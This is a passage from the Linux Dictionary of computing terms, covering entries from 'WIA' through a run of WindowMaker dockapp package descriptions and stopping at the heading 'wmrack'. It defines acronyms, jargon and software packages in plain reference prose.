Windows Hardware Quality Lab (MS, Windows, PC97) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WIA
Windows Image Aquisition (MS, Windows, API, DDI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WIDD
Web InformationsDienst Deutschland (WWW, Neuss, Germany) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wide−area network (WAN)
A network of computers connected to each other over a long distance, for example on the Internet. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Widget
A graphical user interface programming object (button, scrollbar, radio button, etc.) for the X Window System. (Also, see X Window System.) From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

widget
A standardized on−screen representation of a control that may be manipulated by the user. Scroll bars, buttons, and text boxes are all examples of widgets. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

widget
a user interface object in X graphical user interfaces. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

widget
n. 1. A meta−thing. Used to stand for a real object in didactic examples (especially database tutorials). Legend has it that the original widgets were holders for buggy whips. "But suppose the parts list for a widget has 52 entries...." 2. [poss. evoking `window gadget'] A user interface object in X graphical user interfaces. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WIF
Web Interface Facility (WWW, MVS, OS/390) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Wiki
Wiki is a piece of server software that allows users to freely create and edit Web page content using any Web browser. Wiki supports hyperlinks and has a simple text syntax for creating new pages and crosslinks between internal pages on the fly. Wiki is unusual among group communication

mechanisms in that it allows the organization of contributions to be edited in addition to the content itself. Like many simple concepts, "open editing" has some profound and subtle effects on Wiki usage. Allowing everyday users to create and edit any page in a Web site is exciting in that it encourages democratic use of the Web and promotes content composition by nontechnical users. Historical Note. The first ever wiki site was created for the Portland Pattern Repository in 1995. That site now hosts tens of thousands of pages. From Wiki http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wild

A phrase that implies that the technique is currently being used, as opposed to be purely theoretical. For example, while tens of thousands of viruses are known to exist, only a few hundred can be found in the wild. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wild card

character, used to search for text, that may represent any character (or any character in a set). A wild−card character is like a wild card in a card game, which may represent any other card in the deck. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wily

A work−alike of the Acme programming environment for Plan 9 Wily's basic functions are to edit and search for text and to run commands. It is intended to eventually be an integrated working environment for all tasks involving text. It uses the mouse heavily. It emphasises speed for experienced users, but is probably simple to learn as it has very few concepts. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WIMAN

WIreless Metropolitan Area Network From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WIMP

Window, Icon, Menu, Pointing device From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WIMP environment

n. [acronym: `Window, Icon, Menu, Pointing device (or Pull−down menu)'] A graphical−user−interface environment such as X or the Macintosh interface, esp. as described by a hacker who prefers command−line interfaces for their superior flexibility and extensibility. However, it is also used without negative connotations; one must pay attention to voice tone and other signals to interpret correctly. See menuitis, user−obsequious. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WIN

WIssenschaftsNetz (network, DFN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

winbind

Service to resolve user and group information from Windows NT servers This package provides the winbindd daemon, which provides a service for the Name Service Switch capability that is present in most modern C libraries (like the GNU C Library − glibc.) The service provided by winbindd is called `winbind' and can be used to resolve user and group information from a Windows NT server. The service can also provide authentication services via an associated PAM module. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

window

A graphical representation of a program displayed on the screen. Each running program has a separate window displaying the contents of the program. Some programs have more than one window displayed, usually to separate functions logically and facilitate use of the program. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

window manager

A program that controls the display and positioning of graphical windows on a screen; accounts for such variables as screen resolution and user manipulation (for example, a user repositioning or resizing a window). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Window Manager

The graphical user interface (GUI) that runs on top of X Window to provide the user with windows, icons, taskbars and other desktop objects. (Also, see Desktop.) From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

window manager

the main interface between the X Window system and the user. It rovides such functionality as window borders, menus, icons, virtual desktops, button bars, tool bars, and allows the user to customize it at will, often adding to its functionality in the process. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WindowMaker

Window Maker is an X11 window manager which emulates the look and feel of the NeXTSTEP (TM) graphical user interface. It is relatively fast, feature rich and easy to configure and use. Window Maker is part of the official GNU project, which means that Window Maker can interoperate with other GNU projects, such as GNOME. Window Maker allows users to switch themes 'on the fly,' to place favorite applications on either an application dock, similar to AfterStep's Wharf or on a workspace dock, a 'clip' which extends the application dock's usefulness. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

windows−el

Window manager for GNU Emacs You can divide the screen of GNU Emacs as many as you like. Since efficiency of implementation or so depends much on the style of window division, you may have your own style of partitioning. But if you switch the mode to e−mail mode or NetNews mode, they break your favorite style. Windows.el enables you to have multiple favorite window configurations at the same time, and switch them. Furthermore, it can save all window configurations into a file and restore them correctly. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wine

run Windows programs on Unix From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wine

Windows Emulator (Binary Emulator). the MS−Windows emulator. This is still a developers release and many applications may still not work. This package consists of the emulator program for running windows executables. Wine is often updated. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

winesetuptk

Windows Emulator (Configuration and Setup Tool) This is an easy−to−use Wine setup tool provided by CodeWeavers, Inc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wing

a galaga knock−off, arcade game WING is a galaga knock−off, arcade game. It features high quality prerendered graphics, dynamically generated stars in background, single player game against computer controlled opponents, 6 levels of play, digital sound effects, digital music streams, and a high score list. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WINHEC

WINdows Hardware Engineering Conference (MS, Windows, conference), "WinHEC" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WINLAB

Wireless Information Network LABoratory (org., STC, USA) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WinLinux

WinLinux 2001 was designed and built to be the easiest to use Linux system. Its installation and configuration tasks are performed directly from Windows using graphical tools. WinLinux 2003 is currently available. From LWN Distribution List
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WINS

Windows Internet Naming Service (MS, Windows NT) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WinSlack

WinSlack is a basic Linux install with KDE and Star Office. It requires no logon, and gives you a desktop environment similar to that other leading PC GUI, it also has supermount compiled into the kernel so that CD−ROM's and floppies are automatically mounted and unmounted. You can also format floppies from the desktop. Upon exiting the X session, the machine will shutdown. It is based primarily on Slackware 7.1 with some modifications. From LWN Distribution List
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Wintel

n. Microsoft Windows plus Intel − the tacit alliance that dominated desktop computing in the 1990s. Now (1999) possibly on the verge of breaking up under pressure from Linux; see Lintel. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wipe

Erased data can frequently be retrieved through forensics on the magnetic material of a hard−disk drive or backup tape. So−called "magnetoresistive microscopes" have been developed that painstakingly scour magnetic media, and are able to reconstruct the magnetic image of a disk surface. This will show the faint residue of overwritten data. A common security measure is to "wipe" all traces of the data from a machine. Wiping usually involves: Clearing caches and logfiles. Example include browser caches, cookie files, history logs, and recently used document lists. Note that passwords are often stored in cookies and history URLs. Hard−disks "erase" files by simply removing their entries from the directory. The files still exist on the hard−disk. The first step of wiping is to actually erase them by overwriting that area of the disk. Overwriting erased areas of the hard−disk at least 7−times with different bytes (DoD spec) in order to remove all magnetic traces. Forensics specialists can usually read data from a disk that has been overwritten only once. Wiping the pagefile. Most programs do this by repeated allocating all possible memory in the system then freeing it, multiple times. Contrast: Wiping data from the disk is the electronic equivalent of shredding. It is not as strong as degaussing the disk. Misconception: Many crypto programs also contain a feature for wiping free−space. However, deleted files may be overwritten by some other file between wiping passes. This deleted file won't be wiped, and may be recoverable. Key point: In a court case in 2001, the FBI was able to successful retrieve overwritten files from a defendant's hard−drive. History: Microsoft's Windows XP, shipped in October of 2001, contains an automatic wipe feature for permanently deleting files. This has made some forensics investigators worried that they will no longer be able to successfully retrieve deleted files from dumb−criminal's machines. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wipe

Secure file deletion Recovery of supposedly erased data from magnetic media is easier than what many people would like to believe. A technique called Magnetic Force Microscopy (MFM) allows any moderately funded opponent to recover the last two or three layers of data written to disk. Wipe repeatedly writes special patterns to the files to be destroyed, using the fsync() call and/or the O_SYNC bit to force disk access. Homepage: http://gsu.linux.org.tr/wipe/ From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WIPO

World Intellectual Property Organization (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wireless

The condition of functioning without a wire or cable attached. For example, a wireless network uses radio frequencies travelling in the air instead of a physical wire to transmit data. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Wireless Fidelity (Wi−Fi)

see 802.11 From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wireless−tools

Tools for manipulating Linux Wireless Extensions This package contains the Wireless tools, used to manipulate the Linux Wireless Extensions. The Wireless Extension is an interface allowing you to set Wireless LAN specific parameters and get the specific stats. The tools in this package only work with kernel versions 2.2.14 and above, and 2.3.24 and above. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WISC

Wisconsin Integrally Synchronized Computer From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WISE

World−wide Information System for r&d Efforts (WWW, IGD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wish

Simple windowing shell From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wish list

n. A list of desired features or bug fixes that probably won't get done for a long time, usually because the person responsible for the code is too busy or can't think of a clean way to do it. "OK, I'll add automatic filename completion to the wish list for the new interface." Compare tick−list features. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wish8.3

Simple windowing shell From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WISIA

Wissenschaftliches InformationsSystem fuer den Internationalen Artenschutz (WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

witalian

The Italian dictionary words for /usr/share/dict/. This package contains an alphabetic list of Italian words. You may wish to use it in conjunction with a program like spell(1) to spell−check an Italian text, or with a program like look(1) for word completion. It may even be used by the sysadmin to look for weak user passwords. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WITT

Workstation Interactive Test Tool (IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wizard

n. 1. Transitively, a person who knows how a complex piece of software or hardware works (that is, who groks it); esp. someone who can find and fix bugs quickly in an emergency. Someone is a hacker if he or she has general hacking ability, but is a wizard with respect to something only if he or she has specific detailed knowledge of that thing. A good hacker could become a wizard for something given the time to study it. 2. The term `wizard' is also used intransitively of someone who has extremely high−level hacking or problem−solving ability. 3. A person who is permitted to do things forbidden to ordinary people; one who has wheel privileges on a system. 4. A Unix expert, esp. a Unix systems programmer. This usage is well enough established that `Unix Wizard' is a recognized job title at some corporations and to most headhunters. See guru, lord high fixer. See also deep magic, heavy wizardry, incantation, magic, mutter, rain dance, voodoo programming, wave a dead chicken. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wizard mode

n. [from rogue] A special access mode of a program or system, usually passworded, that permits some users godlike privileges. Generally not used for operating systems themselves (`root mode' or `wheel mode' would be used instead). This term is often used with respect to games that have editable state. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WIZOP

WIzard sysOP, "WizOp" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WKS

Well Known Services (DNS, Internet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wl

Yet Another Message Interface On Emacsen. Wanderlust is IMAP4, POP and NNTP client on Emacsen. Wanderlust has many powerful features. − Coding with only Elisp. − MIME support (SEMI or tm) − 3 frames mode(folder, summary, message) − Thread view − Virtual Folder Support − Archived Folder Support − MH local Folder Support − and so on. Wanderlust is needs MULE support with emacsen. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WLAN

Wireless Local Area Network (LAN, WLAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WLANA

Wireless Local Area Network Alliance (org., WLAN, LAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WLBS

Windows Load Balancing Service (MS, Windows NT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WLIF

Wireless LAN Interoperability Forum (org., WLAN, LAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WLL

Wireless Local Loop From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WLO

Windows Library Objects From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WLP

Wafer Level Packaging From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WLS

White Line Skip (Fax) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wm2

Small, unconfigurable window manager wm2 is a window manager for X. It provides an unusual style of window decoration and as little functionality as Chris Cannam feels comfortable with in a window manager. wm2 is not configurable, except by editing the source and recompiling the code, and is really intended for people who don't particularly want their window manager to be too friendly. The "debian menus" functionality has been removed. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WMA

Windows Media Audio [CODEC] (MS, Windows, audio, CODEC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmacpi

An ACPI battery monitor for WindowMaker (alpha) This is a battery monitor that uses ACPI to query the battery status. As the interface to ACPI changes rather often, this program usually only works with a very specific kernel version. This package is for kernel version 2.4.2 or greater, ACPI subsystem version 20010313 or greater. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmaker

NeXTSTEP−like window manager for X Written by Alfredo Kojima (http://www.inf.ufrgs.br/~kojima) almost from scratch, resembles the NeXTStep look very closely, and it's now an official GNU project. Window Maker is not overloaded with features, and it's easier to configure than most other window managers. Its final goal is to produce a window manager that doesn't require editing of configuration files. Window Maker is fast and doesn't require tons of memory to run. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmakerconf

GTK+ based configuration tool for Window Maker Interactive graphical configuration utility for Window Maker. It offers to configure Window Maker using a mouse driven point and click interface avoiding direct manual editing of its configuration files. There's not much point in installing this program without Window Maker on the system, but I guess there are some circumstances where that's desirable, for example, self−compiled wmaker versions. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmanager

Select a window manager at X startup wmanager is a small X11 application for selecting a window manager at X startup. wmanager looks for a file named '.wmmanagerrc' in the user's home directory which contains a list of window managers; you can create such a file with wmanagerrc−update. You can also use wmanager−loop that runs window managers chosen by the user until told to exit. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmapm

An APM display program designed for WindowMaker Displays the Advanced Power Management (APM) status of your computer in a small icon. This includes battery or AC operation, battery life remaining (both in percentage and graph), time left until battery−depletion, charging status, and battery status. There's nothing in the program that makes it require WindowMaker, except maybe the look. To use this program you need to enable APM support for your kernel during configuration; the corresponding questions are in the 'Character devices' section. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmavgload

small NeXTStep−like system load average monitor wmavgload provides CPU load averages integrated over 5 (main window), 30 and 60 seconds. Also, it takes very little space (64x64 square). There's nothing in the program that makes it *require* WindowMaker, i.e. it works great with other window managers. But if you are looking for seamless integration on your desktop, wmavgload may suit your needs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmbattery

Display laptop battery info, dockable in WindowMaker Wmbattery displays the status of your laptop's battery in a small icon. This includes if it is plugged in, if the battery is charging, how many minutes of battery life remain, battery life remaining (with both a percentage and a graph), and battery status (high − green, low − yellow, or critical − red). There's nothing in the program that makes it require WindowMaker, except maybe the look. It can be docked in WindowMaker or AfterStep's dock. To use this program you need to enable APM support for your kernel during configuration; the corresponding questions are in the 'Character devices' section. It will only work on laptops with an APM BIOS. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmbiff

A dockable app that displays information about mailboxes WMBiff is an WindowMaker docking utility, that displays the number of read and unread messages in up to five mailboxes. You can also define actions to execute on new mail arrival (for example, play a sound file), [auto]fetchmail from a remote server or to execute your mail reader with a mouse click. WMBiff also supports notification of incoming Licq messages, so you can put Licq in the background. At this moment, wmbiff supports unix−style, maildir, pop3, APOP, IMAP and IMAPS mailboxes, as well as Licq and GnomeICU history files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmbubble
A system−load meter for Window Maker that features a duck A Window Maker dockapp (though it does not specifically require the Window Maker window manager) that indicates the system load. The more profuse the bubbles, the higher the CPU usage. The higher the water, the more memory being used. It can also start up to two programs depending upon which mouse button is pressed. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmbutton
Dockapp displaying nine configurable buttons Wmbutton displays nine buttons which can be configured through a config file. Each button can be assigned up to three commands (one per mouse button). It is intended as a dockapp for X window managers such as Window Maker, AfterStep, BlackBox, and Enlightenment. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmcalc
Dockable calculator application Wmcalc is a small calculator meant for the WindowMaker dock or Afterstep Wharf. It is a simple calculator with basic functions and memory slots, and can launch any external application for more complex calculations. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmcalclock
A dock.app which simply tells time and date. wmCalclock is a dock app specifically written for Window Maker, but will work with other window managers. Some features include antialiased text display, with the ability to choose between different fonts, and colors. 12 and 24 hour time, Greenwich time, Greenwich Mean Sidereal Time, and Local Sidereal Time. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmcb
Dockapp that displays the cut buffer content Wmcb is a WindowMaker dockapp that displays the current content of the cut buffers built into every Xserver. It allows the buffers to be manipulated with the mouse in a point and click manner. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmcdplay
A CD player based on ascd designed for WindowMaker There's nothing in the program that makes it *require* WindowMaker, except maybe the look. It's extremely customizable, provides great control, and runs on a 64x64 window. You can get it too look almost like anything, provided of course you READ the documentation. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmclock
dockable clock applet for Window Maker Wmclock is a dockable applet which displays the date and time in a dockable tile. Wmclock is specially designed for the Window Maker window manager, and features multiple language support, am/pm time display, and can run a user−specified program on a mouse click. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmcpu
Window Maker docking app similar to xosview Displays a 64x64 box with: * CPU * Mem * Swap * Uptime From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmcpuload
Dockapp that displays the current CPU usage WMCPULoad is a dockapp for X window managers such as WindowMaker, AfterStep, BlackBox and Enlightenment. It displays the current CPU usage as percentage value and chart with an LCD−like look. Its appearance can be configured from the commandline and it has a backlight mode which can be triggered manually or by an adjustable alarm percentage. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmcube

Spinning 3D object that shows the current CPU load wmcube is a dockapp that displays a realtime rotating 3D object which indicates current CPU load. The higher the load, the faster the object spins. On SMP machines one instance can be run for each processor. Originally wmcube could spin only a cube, hence the name. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmdate

Calendar for window manager docking bars. wmdate produces a 64x64 pixel calendar for use in the docking bars of window managers. It was written specificly for Window Maker and goes well with docking bars that have a "clock−only" clock app such as pclock. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmf

Web Mail Folder This program converts emails to HTML and makes index files (by author, data, subject,thread). Of course there are other programs making the same, but here are some features which not all have: − correct threading without level limitation − quoted−printable text encoding − home page hyperlink (X−URL) − faces support − breaking indexes in different pages to make them smaller (don't break between threads) − index time limitation (older mail disappears from the index) − frame support From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmfire

A very cool fiery way of showing your CPU usage! The display is a 64x64 window designed to Dock into Window Maker's Docking bar. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmfsm

WindowMaker dock app for monitoring filesystem usage Nice graphical 'df', showing you to what degree the mounted filesystems are used. Another X11 dockable application designed for WindowMaker. It works with other window managers as well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmgrabimage

maintains a small thumbnail image from the WWW wmGrabImage is a WindowMaker DockApp that maintains a small thumbnail copy of your favorite image from the WWW. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmgtemp

Temperature sensor dockapp for WindowMaker It displays the CPU and SYS temperatures (both in numerically and graphically) of motherboards with the VIA686A chipset primarily but also supports some other sensors, including W83781D, W83627HF and AS99127F. There is also intention of adding support for other chipsets in the future. You will need a kernel compiled with i2c capabilities to make this work, use the i2c−source package to make it for yourself. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WMI

Windows Management Instrumentation / Interface (MS, Windows, WMI, CIM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmifs

WindowMaker dock app for monitoring network traffic wmifs is a dockable applet for X11 that can monitor all your network interfaces. It's designed for WindowMaker's Dock and AfterStep's Wharf, but it's not dependent on these window managers and should work with any other. WMiFS stands for "Window Maker InterFace Statistics". From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wminet

An inetd monitoring dockapp designed for WindowMaker WMiNET has some nice & nifty features for monitoring, like: * Monitors number of processes, users, http users, and NFS mounts * LPD monitoring * Monitors any tcp port you specify * Selectable LED or LCD GUI * Enable/disable monitoring using ~/.wminetrc * Customs stats positioning using ~/.wminetrc * User−definable scripts/commands using ~/.wminetrc From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmitime

yet another clock dock app for Window Maker WMitime is yet another clock dock app (and quite overglorified at that! :) it shows standard time, date, as well as the new internet time. (see http://www.swatch.com/) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmix

Dockapp mixer for OSS or ALSA Dockapp mixer for OSS or ALSA. Allows toggling record source, muting individual channels, adjusting volume and balance, all in a compact dockapp size, with TV−like on−screen−display for volume levels. Supports mousewheel to adjust current channelvolume and can be controlled remotely with SIGUSR1 / SIGUSR2 to adjust the volume. Keeps a simple configuration file for user−defined settings. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wml

Website META Language by Ralf Engelschall WML is a free and extensible Webdesigner's off−line HTML generation toolkit for Unix. WML consists of a control frontend driving up to nine backends in a sequential pass−oriented filtering scheme. Each backend provides one particular core language. For maximum power WML additionally ships with a well−suited set of include files which provide higher−level features build on top of the backends core languages. While not trivial and idiot proof WML provides most of the core features real hackers always wanted for HTML generation. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WML

Wireless Markup Language (mobile−systems, WAP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmload

system load monitor designed for Window Maker wmload displays a graphical representation of the kernel/system statistics on a 64x64 miniwindow. There are three shades in the window: the light one, which corresponds to user statistics, second is the nice time statistics, and the darkest one is system statistics. It works with other window managers, there isn't anything in the program to make it require Window Maker, except maybe the look. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmmail

A mail notification program designed for WindowMaker There's nothing in the program that makes it require WindowMaker, except maybe the look. It's much like xbiff, and was derived from asmail 0.50. Now includes support for a variety of mailboxes, including mbox, MH, maildir, POP3 and IMAP. A few pixmaps and sounds are included with the package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmmand

a dockable Mandelbrot fractal browser wmMand is a dockable Mandelbrot fractal browser or explorer. The window initially comes up with the whole Mandelbrot set in view. The mouse buttons can be used to zoom into or out of the set. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmmatrix

View The Matrix in a Window Maker dock application wmMatrix displays The Matrix (from the film of the same name) in a Window Maker dock application. Based on the xscreensaver module created by Jamie Zawinski. Although it works best with Window Maker, wmMatrix also works fine with other window managers. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmmixer

A mixer application designed for WindowMaker There's nothing in the program that makes it require WindowMaker, except maybe the NeXTStep look and the fact that it properly docks. It can be used with other window managers without problems From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmmon

Monitor CPU load and average system load WMMon monitors the realtime CPU load as well the average system load and gives you some nice additional features too... WMMon currently provides: * Realtime CPU 'stress' meter * Average system load, like xload & wmavgload * Average system load graphic is auto−scaling * Realtime Disk I/O 'stress' meter * Average Disk I/O load graphic (auto−scaling) * Realtime total Mem & Swap usage meters * System uptime display * Realtime cycling through all monitor modes * Can launch 3 user definable commands through ~/.wmmonrc * Can be started multiple times From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmmoonclock

Displays the phase of the moon wmMoonClock displays a small pixmap of the current phase of the moon. It is designed for use with the Window Maker dock, but will of course work elsewhere. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmmount

mount utility and free space monitoring tool, NeXTStep−like wmmount can be used to mount and unmount floppies, CD−ROM's, ZIP drives, and file systems in general. It also displays the amount of free space on the file system. It is very customizable and runs on a 64x64 window. There's nothing in the program that makes it *require* WindowMaker, i.e. it works great with other window managers. But if you are looking for seamless integration on your desktop, wmmount may very well suit your needs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmnd

Dockapp monitoring network interfaces Shows a graph of incoming/outgoing traffic, activity indicators for rx/tx and current/maximum rate for rx/tx in bytes or packets. Tailored for use with WindowMaker, it will as well work with any other window manager though. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmnet

network monitor for WindowMaker using kernel IP accounting This little program polls /proc/net/ip_acct and does a few things with the data it gets. The speedometer keeps track of the current speed per second and shows it in a color corresponding to which of rx or tx that has the highest speed at the moment. You WILL need ip accounting in your kernel and at least two ip firewall rules. This version allows you to specify which accounting rule to watch for tx and rx and you will have to enter them in ipfwadm or use the debian package ipac. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmnetselect

Enhanced Netscape launch button designed for Windowmaker This is a replacement for the Netscape/Mozilla launch button in your dock, that enhances the functionality of the button. You can use it just as you normally would to start Netscape. If you select an URL and paste it into the wmnetselect button, it will redirect netscape to that URL. Other features include quick Google.com searches and quick addition of URLs to your bookmarks. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmnut

A wmaker dock app that displays UPS statistics from NUT's upsd WMNUT monitors UPS statistics through the NUT (Network UPS Tools, www.exploits.org/nut) framework on Linux and other systems. This information, presented in a nice visual format, can be invaluable on stations using an UPS. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmpinboard

Window Maker dock applet resembling a miniature pinboard Themable Window Maker dock applet resembling a miniature pinboard. Icon is titled TODO. Includes alarm functions. Think of it as very high−tech post−its for your dockbar. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmpload
: Program to monitor network device statistics Wmpload is a Window Maker dock application to monitor ppp network device statistics and graphs information using Athena stripchart widgets. It can monitor any device that reports statistics to /proc/net/dev including ethernet, plip, loopback etc. It shows totals and current rates for a given ppp interface and is customizable to show using X resources. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmppp.app
: PPP dial control and network load monitor with NeXTStep look wmppp.app provides a PPP activator and network load monitor on a 64x64 mini window. With wmppp you can monitor the total traffic as well as the outbound and inbound traffic. It is designed to work with the WindowMaker dock, but will work great with other window managers as well. Now with experimental (untested) ippp device support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmppxp
: PPxP console for Window Maker dock WMPPxP is a Window Maker dock app of PPxP console. PPxP is yet another ppp program. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmpuzzle
: WindowMaker dock app 4x4 puzzle wmpuzzle provides a 4x4 puzzle on a 64x64 mini window. Currently you can puzzle an eagle, earth, the Debian logo or the Linux penguin. Other images will be included on request. wmpuzzle is designed to work with the WindowMaker dock, but will work with other window managers as well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmrack
